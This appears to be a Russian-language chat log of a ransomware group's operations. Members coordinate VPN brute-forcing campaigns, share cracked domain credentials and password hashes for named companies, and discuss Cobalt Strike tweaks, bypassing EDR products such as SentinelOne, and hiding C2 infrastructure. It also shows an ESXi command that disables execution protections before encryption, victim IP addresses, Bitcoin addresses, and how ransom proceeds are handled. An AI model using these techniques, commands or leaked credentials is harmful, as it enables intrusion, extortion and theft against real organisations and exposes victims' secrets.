а то не успеваем их разбирать руками

и они пасы меняют

а так мы спокойно потом скриптами пройдемся

по базам поможешь?

не охото покупать.. дорого стоят

нужно пройтись по базе валидатором

и получить тимсы

я скину все

я все поставлю на впс

нужно будет только базу загрузить

так будет проще

ну не всю, кусок какойнибудь

или тебе дам валидатор

в общем как хочешь так и сделаем

или

Корпы за 2024 год в формате mail : pass

я ее сам валидирую а ты ее себе под спам заберешь

https://forum.exploit.in/topic/238839/

----

принял, отпишусь что получилось

спасибо бро

Доброе утро

> <@usernamegg:matrix.bestflowers247.online> [19:59:50] vns10k -выгружает хосты шодан,: sophos c zoomeye https://oshi.at/MSYG

> <@usernameboy:matrix.bestflowers247.online> NN:

> <@usernamegg:matrix.bestflowers247.online> палоальто тоже забрал ?

> <@usernamegg:matrix.bestflowers247.online> что там начекалось за выходные ?

> <@usernamegg:matrix.bestflowers247.online> что там начекалось за выходные ?

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

SOPHOS_VALID.txt

CISCO_VALID_ITEMS.txt

WG_VALID.txt

CISCO_BRUTED_VALID_IPS_REVENUE.txt

SONIC_BRUT_VALID_REVENUE.txt

так все тут

запускаются

> <@usernamegg:matrix.bestflowers247.online> $$ c приездом

здоров

с инетом сегодня проблемы заметил?

> <@usernamegg:matrix.bestflowers247.online> я отойду чейчас на час

Добрый день. Что сделать?

с интернетом что-то сделать надо. я не могу потестить. Мы можем 1 впн для меня купить у ласта?

PALO_VALID_FILTERED.txt

SONIC_VALID_ITEMS_REVENUE.txt

> <@usernamegg:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> старый мояк в другом процессе за собой убиваем дабы не вызвать доп палева

лучше еще PPID спуфить

Щас тут разбираюсь с ботом, почему то домен отпал

> <@usernamegg:matrix.bestflowers247.online> sent a file.

+

привет! PRODRIVE надо страничку блога создать по ним.

```

$DCC2$10240#vlombardi#1995c64b85ba6214f6f604c805e0ce7f:Danielle@1

++

++

`global:$DCC2$10240#global#631fec563aee72be0e3ef2dbbc276d17`

03d25814cf263155230138c8e3f42d5e

https://webmail.swagelok.com

нет, домен по ДНС не бьется вообще

но он есть

переключаю на другой

по кобе надо доделать инжект процесса и в артифакте добавить 1 фикс

++

> <@usernamegg:matrix.bestflowers247.online> а что сделано уже по кобе ?

новые методы патча

и оюхода АВ

ну в начале идут которые

по типу bypass-pipe

и так далее

я свой сделал

он будет билдится

> <@usernamegg:matrix.bestflowers247.online> raw сво я нагрузка будет у нас ?

там есть стейджер и stagerless

stagerless точно будет чистый

а по поводу stager raw точно не могу сказать, по идее тоже долэно поменяться

я просто не могу найти именно логику этого запрсоа

ну с этим я разберусь

да знаю

я сброшу тогда скоро все домены, по которым нужны мыло и пасс

чтобы сразу для разных впн сервисов

ничего страношно, что будут дубли

10 мин

RD_DOMAINS_NEED.txt

вот по ним мыло и пасс нужны

+

привет, дайте денег

19RdXdWXKJxf8SFndnvvpCAxUptBbQpqgG

kekhash.txt

```

> <@usernamegg:matrix.bestflowers247.online> сегодня что то тестим ?

da4c10ce7f30423984d43b83a04d368b:icelantic:W1nt3r15C0m1ng!

++

363facfece6faff66837f4ac1c72ddbe:veeam.backup:Ve3am123!

++

сильно за пику взялись походу

начали фазить уже по IP прямо, щас IP запросил смену

все менять надо

видимо сильно решили взяться

видимо серваки те zomro, которые были Tier3 спалили домен и они начали бить на прокладки

щас все оффнул, новое ставить буду

fcw.ch неверно заполнено

исправьте

нет папки

2e8693f261068e229d3fd574ce0ffa8d:lf admin:L@5erf1che

++

stop po moim

да я уже решил с сс

> <@usernamegg:matrix.bestflowers247.online> епать

ну все серваки

щас уже IP поменяли

щас прокалдку новую делаю

домен новый

и еще 3 сервака надо для T3

ибо те зомровские ставить не буду

спасибо

у тебя есть ребята, которые хорошие домены делают?

которые держат норм

может на китайских регистраторах

globalsteeltechnologies.com

и пусть NS поставят такие:

если не сложно пожалуйста

> <@usernamegg:matrix.bestflowers247.online> sent a file.

привет, я протестил свой метод обхода Sentiel One X86, и большинство важных команд оказались не рабочими

Что НЕ работает:

я думаю вам такие билды не нужны будут, верно?

ага, понял

а то тип, который раньше делал щас в оффе

щас сам тогда придумаю быстро что то

> <@usernamegg:matrix.bestflowers247.online> 3000к

офнусь. до завтра

брут доделывал для других впнок

еще ошибки буду искать

https://www.zoominfo.com/c/david-phillips-furniture-ltd/42307531

бро сетка не большая - 40млн юк, может подойдет

без проблем можно добавить, но по-моему сейчас лучше, тк меньше действий по которым ав может спалить, да и больше работы против кого мы работаем, тк приходится проверять все файлы на статус шифрования

я выйду прокачусь поблизости

```

челу креды сменили походу, я заходил коннект появлялся и потом дискало пару раз, через некоторое время престало заходить в впн. видимо скан сети спалил SIEM или ав

да, ок

> <@usernamegg:matrix.bestflowers247.online> вот вот

могу скинуть сурс, думаю вам под C2 сойдет

я сейчас сделаю скрины, конкретно объясню что он делает

> <@usernamegg:matrix.bestflowers247.online> скоро как будет у меня почищенная коба

про тренд не могу сказать, но думаю что не будет

сейчас стараюсь найти идеальный вариант выгрузки EDR из процесса

unload.png

> <@cob_crypt_ward:matrix.bestflowers247.online> sent an image.

> <@cob_crypt_ward:matrix.bestflowers247.online> Оранжевым, где Moneta - я выделил память S1

S1.jpg

Вот объяснение, как S1 работает

> <@cob_crypt_ward:matrix.bestflowers247.online> sent an image.

только что придумал новый метод, как можно обойти, буду пилить ближ неделю

бро что нужно чтобы забрутить сетку

image.png

https://www.zoominfo.com/c/delta-holding/399555179

такая контора есть

я все облазил не могу доступ найти

image.png

image.png

вот это все с их сетки

------

https://dropmefiles.com/UZe5Z

afcjkmafcjkm

там таблица , скрин из нее выше кинул

2.2ккк

-----

2 фа вроде нету там

`64.176.219.106:44087 PFM`

`64.176.219.106:46087 PFM`

kenneth.young@providentfm.com

так что решил?

ок, сегодня сделаю

привет

`185.219.221.136:33651`

можно сделать мнеп впн ласта?

не работает сингл

я сейчас без впна

да я только в элементе

работать невозможно реально, с ластом лучше было

> <@usernamegg:matrix.bestflowers247.online> ```

+++

Привет всем!

https://www.bleepingcomputer.com/news/security/researchers-expose-microsoft-sccm-misconfigs-usable-in-cyberattacks/

Privet

кто готов уделить время и разобраться в SCCM мисконфигах?

hi

Hi

Привет!

это тоже релеи

hi

image.png

особо ничего сложного, не сложнее текущих релеей, кто готов взяться и внести ИМПАКТ?

пон, ну мне тоже тогда не интересно

всем интересно, ставим 4 сетки

чуть позже, ок?

аа Ок сорри

погодь чуть чуть

Привет! Скоро все экспортирую и выдам

сингл работает

Сможете 1к битком отправить? Ну и еще потом может 5к сбросить на расходники(на соксы).

Я вчера короч заметил, что на этих серверах русских

которые для брута

не оч хорошо тор работает

взял для тетста маленький сервер в европе, там поднял 100 нодов, и все норм они быстро работают

короч мне сейчас нужно 1к, я возьму 10 серверов небольших, там подниму на каждом по 100 новодом

и будут думаю соксы стабильные

дабл нет

с даблом не могу подключиться

у меня вот такой дабл щас 32205_RU-NL_udp.ovpn

он работает

скоро

сброшу кошелек

> <@usernamegg:matrix.bestflowers247.online> sent a file.

хм

а можно пример креда?

у меня дропается вайфай с этим профилем

просто я как раз авторизацию по сути через приложение циско проверяю

* просто я как раз авторизацию по сути через впн приложение циско проверяю

`64.176.219.106:36583 CAROLINAFOODS`

0.01415058

3BzkDKLnXmiu5E5iShrkxyCgjfd2i4XJeQ

+

```

типа успешно

но к синглу я подключиться не могу когда этот дабл включен

ок

`17 M iaplywood.com, iapvpn, iap_vpn https://209.201.106.162:443 IAPVPN test cisco`

+

CISCO_VALID_ITEMS.txt

WG_VALID.txt

SOPHOS_VALID.txt

PALO_BRUT_VALID.txt

CISCO_BRUTED_VALID_IPS.txt

SONIC_BRUT_VALID.txt

WG_BRUT_VALID.txt

нет не подключается к синглу через этот дабл, на ноуте тоже

там как будто нет интернета, просто через дабл я тоже не могу сюда подключиться

я хз как у тебя есть соединение

> <@usernamegg:matrix.bestflowers247.online> sent a file.

почти то же самое

```

на этот раз есть лог краша дабла

SONIC_VALID_ITEMS_REVENUE.txt

> <@usernamegg:matrix.bestflowers247.online> sent a file.

на нем скорость маленькая просто

1 мбит

image.png

это сингл, в нем проблема

если у нас есть понимание какой клиент, какие логины

это в сетке за 2ккк

Привет, скоро скину новые доступы к боту

да

такс я пока подолжу их ковырять, доступ еще живой

если не получится ничего сделаем с них рассылку внутреннюю

я соксы настраиваю

пока что

этим занят

еще нет

Tier 3 не ставил

щас буду сетапить

вчера все купил и заказал

кароче .at домены дольше всех абузы держат

прям долго

у типа брал, он под бота посоветовал именно .at

чтобы абузы как можно дольше игнорили

к вечеру думаю сделаю и поставлю их на брут

не работает никакой дабл из тех что ты дал

там нет инетрнета на обоих

`172.16.100.119 445 GITSVEEAM04`

> <@usernamegg:matrix.bestflowers247.online> интересное наблюдение

могу дать контакты

он там на экспе этим занимаеться с 2010

https://forum.exploit.in/topic/41196/?page=35

> <@usernamegg:matrix.bestflowers247.online> https://dropmefiles.com/UZe5Z

[19:29:02] WEB, MR.WEB =): com net org = 80

вот расценки по доменам

там токс на последней странице есть

а те ру серваки, которые были тогда в оффе из-за сети, их не восстановили?

`64.176.219.106:35603 CAROLINAFOODS DC`

да

и мне еще апишиники нужны будут, куда брутить

сначала 123 обычно на дропми

и потом мой пас

есть какой-то способ как их найти?

просто в файлах и переписках?

image.png

> <@usernamegg:matrix.bestflowers247.online> разведку по ценсусу надо сделать еще

Щас все подниму и сразу отпишу

проверю

да

> <@usernamegg:matrix.bestflowers247.online> палоальто надо потсаивть брутить с этими данными что залил из таблицы

WEB, MR. WEB

как то так

брут?

а я думал ты для кобы спрашиваешь

по сути коба тот же ботнет

ищу

`esxcli system settings advanced set -o /User/execInstalledOnly -i 0`

> <@usernamegg:matrix.bestflowers247.online> она вкалачивает эту команду на версиях 8.0 и выше ?

ну скоро посмотрю, что выводит эта команда

у меня она точно выполняется

esxcli system settings advanced set -o /User/execInstalledOnly -i 0

начинаю тестирование расширения, не билди ничего

а я уже не могу вроде вайти на ссх эти

Unable to find option execInstalledOnly

> <@lapa:matrix.bestflowers247.online> esxcli system settings advanced set -o /User/execInstalledOnly -i 0

172.16.99.102 вот тут

сделаю, чтобы в панельке выводилось это все

`64.176.219.106:39247 ATLAS_CONTAINER`

топ

+

16_443_64

14_443_64

muaddib6: !

> <@lapa:matrix.bestflowers247.online> esxcli system settings advanced set -o /User/execInstalledOnly -i 0

как будите запускать потом, увидите

```

> <@usernameyy:matrix.bestflowers247.online> начинаю тестирование расширения, не билди ничего

будет экстеншн теперь

+

b5b47062843b6b9fc4db4e9ce2c4245f

> <@usernamess:matrix.bestflowers247.online> ```

Привет. Ок

Esxcli: Unable to find option execInstalledOnly

вот смотрю вы запустили

короч не отрабатывает

16_SMB_64

14_SMB_64

muaddib6:

это другие?

да

аа не все понял там смб в названии

все 4 делать:

ага

Ок

> <@usernamegg:matrix.bestflowers247.online> почему не отработало ?

а у вас вручную отрабатывает?

> <@lapa:matrix.bestflowers247.online> Esxcli: Unable to find option execInstalledOnly

/User/execInstalledOnly неверный пусть может

а, ок

ну да, команда выполняется

```

+

ну я кстати тоже брут через приложение GlobalProtect приложение сделал

странно короч

https://vpn.be-bauelemente.com/global-protect/login.esp :support:support вот в этой тоже кстати, вы мне давали на тест, тоже там странно

написано просто, что нет конфигурации, хотя через веб авторизовывается

> <@usernamess:matrix.bestflowers247.online> sent a file.

1.7z

+

```

33 тыс валида получилось с базы вчерашней

меньше 10 проц

> <@usernamess:matrix.bestflowers247.online> 16_443_64

16_443_x64.zip

> <@usernamess:matrix.bestflowers247.online> ```

```

> <@usernamess:matrix.bestflowers247.online> sent a file.

++

2.7z

> <@usernamess:matrix.bestflowers247.online> 14_443_64

14_443_x64.zip

++

+++ ща запишу себе куда нибудь

16_SMB_x64.zip

rundll32.exe dll.dll,CloseItem

**gfad.de - подсветил** - ты ее получается опубликовал. дата там заливается по ней в блог уже все прописано. но она старая.

14_SMB_x64.zip

> <@usernamess:matrix.bestflowers247.online> 14_SMB_64

> <@usernamegg:matrix.bestflowers247.online> сурс чего ?

Приболел я нормально так. Пойду отлеживать. А не могу в экран уже смотреть. Вчера как буд-то заболевать начинал, в зал еще сходил и сегодня слег.

Офнусь. Буду в тг чуть что

HYUNDAI | KIA - они ведь оплатили.. надо блог удалить по ним. а то они до сих пор у меня в админке чалятся)

CNPC_kekhash.txt

у меня еще одна теория есть

попозже отпишу как протестим

мы тут еще одну схему накопали

с майками

oceaneering.com

OIIAD_kek.txt

кидайте логины - скажу что возьму

> <@usernamegg:matrix.bestflowers247.online> самый первый фаил типа без магии

ща, надо зайти сначала

привет. помоги еще раз с выводом? 50кк

9b80be34-2d05-4b4d-8b71-42580be5e9da.pdf

у меня не было ошибки в панеле при расшифровке

у тебя писало что нет magic в конце файла?

или ты просто не знал какое расширение

может промахнулся?

да, но это не должно влиять

когда так пишет это в конце файла не хватает 12 байт говорящих о том что файл зашифрован

нет. с прошлых выплат

с шопа

рублями

я не знаю комисия какая, нужно в эквиваленте 50кк

+-

я отправлю товарища забрать

в рублях 50млн

через пару дней

да. могу сейчас, как скажешь

ок

спасибо)

я тогда отправляю человека

хорошо

ок

я менял через uaps, потом админы стали косячить

больше некому довериться

> <@usernamegg:matrix.bestflowers247.online> ты лабу прошел ?

с цветами получился первый блин

да мне тоже скинул

еще не посмотрел

утром мне сказал еще нельзя, а вечером у тебя час)

я уже веб-сервер на винде iis разбираюсь как ломать. оказывается тоже куча вариантов с ним

и цветы как лаба. успел слить ключи всякие. сейчас скомпилировал программы для работы, трудно но понемногу получается

`Administrator:$DCC2$10240#Administrator#f05e7ab160c73df2ef2c5e186f2dc46e`

kekhash.txt

$krb5tgs$23$*SQLAdminAccount$schultestorage.local$MSSQLSvc/schulte3.schultestorage.local:1433@SCH..7c39d88098:saschulte1

++

нет, я могу скинуть)

я про это))

то, что сделал

но метод не совсем универсальный, как я описал выше

> <@usernamegg:matrix.bestflowers247.online> попробуем закриптовать и проверим как будет работать

```

Привет

```

сразу несколько таргетов запросили цену - из последних

скажи согласен с ними или нет

vaho-bruklin-musora-blyadi.mp3

ZZ: включи)))

щас загрузится

airliteplastics_kekhash.txt

Мантера

```

ku

kak dela ?

как музон?))

```

`$DCC2$10240#mdugan-hd#3235a3643ebd67e7e80ce632cbb7ee45:walkbyfaithnotbysight`

++

с DNS кобами не разобрались еще?

которые мелкор делает

`https://www.cyberdaily.au/security/10307-black-basta-names-nearly-a-dozen-australian-companies-in-data-leak`

```

норм , ты грузишь ешо файл ? хотел узнать у тебя тоже на все орет виндеф ?

Д

да

да

да

))

$DCC2$10240#scartwright-hd#a936c0098963afc4c3b8fb169e74c5e6:Il0veoregon!2

++

* `$DCC2$10240#scartwright-hd#a936c0098963afc4c3b8fb169e74c5e6:Il0veoregon!2`

на esxi не менял расширения

сделать там тоже?

нет, 10 минут

> <@usernamegg:matrix.bestflowers247.online> криптанем локер ?

😆

мой впн забанен за частые запросы на вдсину

билжу без впн

stop my all

thx

+++

окей

завтар выдам

а то я щас прокладки переписываю

саму лоигку

* норм , ты грузишь еще файл ? хотел узнать у тебя тоже на все орет виндеф ?

чтобы основнаая панель C2 не палилась

а то они походу прохавали сиганутуру

нет

у бота

завтра тебе выдам уже артифакт

> <@usernamegg:matrix.bestflowers247.online> а что там палит в ней ?

и через шодан смогут отсканить новую

это каждый апдейт так

ну типо да

как они кобу ищут

вот так и мою будут искать

я прсото респонсы разные выдавать буду

уникальные

чтобы они не смогли найти

хорошо

я уже доделал почти

щас тесты делаю

я тебе завтра днем уже выдам артифакт

будете уже гонять на новом

поэтому норм

спавн тогда завтра быстренько перепишу и все по сути

+++

ага, отлично

готово

линукс меняет расширение

cinfab-u pni ) a to zabili)

kucha krutix dostupov est'

zhdu obnovi bota po dnsu

* zhdu obnovi bota po dns-u

да

и декрипт тоже

> <@cameron777:matrix.org> cinfab-u pni ) a to zabili)

даю

но без расширения всё равно лучше)

нет

вообще без изменений всё

> <@cameron777:matrix.org> kucha krutix dostupov est'

s och bolshimi revami

185B vot shas sizhu na nem

> <@usernamegg:matrix.bestflowers247.online> мы вычистим сейчас софт

ну что?

ок

> <@cob_crypt_ward:matrix.bestflowers247.online> нет, я могу скинуть)

оки

я доработаю мб

скину попозже

ок

оки

спасибо

надеюсь пароль он придумал

ахаха

дотерский

`SVC_actSCOM:$DCC2$10240#SVC_actSCOM#33a6993255707b7e04310835cee30938`

5file.lockers.zip

burrito: muaddib6

я хз в чем проблема, но с этим синглом у меня тоже нет интернета

может йота виновата?

давай

либо так, но дабла у меня нет

`dfbf82c9f472eb5c86aa45fccddca836`

ну и бред, ща посмотрю какая у меня вторая симка

мтс

ее активирую тогда?

> <@usernameww:matrix.bestflowers247.online> ```

> <@usernameww:matrix.bestflowers247.online> @1RAdm1n ----- Administrator on ili net ?

++

Да, ок, щас апдейт внесу

ок, жду дабл, на мтс сингл тоже не работает

image.png

+ на мтс вот это

но интернет кстати тут намного быстрее чем на йоте

* \+ на мтс вот это

так я хочу прогуляться на 2 часа, на данный момент срочной работы нет? ноут с собой возьму

покататься

надо время выдирать))

спать в ускоренном режиме

не работает ни дабл ни сингл